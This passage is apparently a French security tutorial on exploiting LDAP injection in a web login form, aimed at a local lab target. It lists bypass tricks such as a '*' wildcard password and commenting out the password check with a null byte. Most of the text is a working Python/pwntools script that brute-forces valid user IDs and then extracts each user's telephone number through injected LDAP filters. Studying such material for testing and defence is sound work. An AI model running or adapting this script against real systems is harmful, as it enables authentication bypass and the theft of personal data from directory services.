Voici quelques façons d'exploiter cette vulnérabilité :
En connaissant l'ID utilisateur et en utilisant le symbole * comme mot de passe (qui représente tout) :
En connaissant le début de l'ID utilisateur et en ajoutant ensuite le symbole * :
En introduisant un ID utilisateur valide et en commentant le champ obligatoire de demande de mot de passe :
Attaque par force brute :
Avec Wfuzz, nous pouvons lancer une attaque par force brute pour reconnaître tous les attributs :
Une fois que nous connaissons les attributs avec Wfuzz et la vulnérabilité LDAP de commentaire du champ mot de passe, nous pouvons filtrer par le premier caractère (dans ce cas, nous le faisons avec le numéro de téléphone):
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
print("\n\n[+] Exiting...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
characters = string.ascii_lowercase
initial_users = []
for character in characters:
post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
if r.status_code == 301:
initial_users.append(character)
return initial_users
def getUsers(initial_users):
characters = string.ascii_lowercase + string.digits
users = []
for initial_user in initial_users:
user = initial_user
for i in range(0, 15):
for character in characters:
post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
if r.status_code == 301:
user += character
break
users.append(user)
print("\n")
for user in users:
log.info('Utilisateur valide trouvé : %s' % user)
print("\n")
return users
def getTelephoneNumber(users):
characters = string.digits
telephone_numbers = []
p1 = log.progress("Obtention des numéros de téléphone depuis LDAP local")
p1.status("Lancement de la force brute")
p2 = log.progress("Obtention du numéro de téléphone")
for user in users:
telf = ''
for i in range(0, 9):
for character in characters:
post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
p1.status("[+] Obtention du numéro de téléphone pour l'utilisateur : %s | %s" % (user, post_data))
if r.status_code == 301:
telf += character
p2.status("Numéro de téléphone : %s" % telf)
break
telephone_numbers.append(telf)
p2.success("Les numéros obtenus sont : %s " % telephone_numbers)
if __name__ == "__main__":
initial_users = initial_users()
getUsers = getUsers(initial_users)
getTelephoneNumber = getTelephoneNumber(getUsers)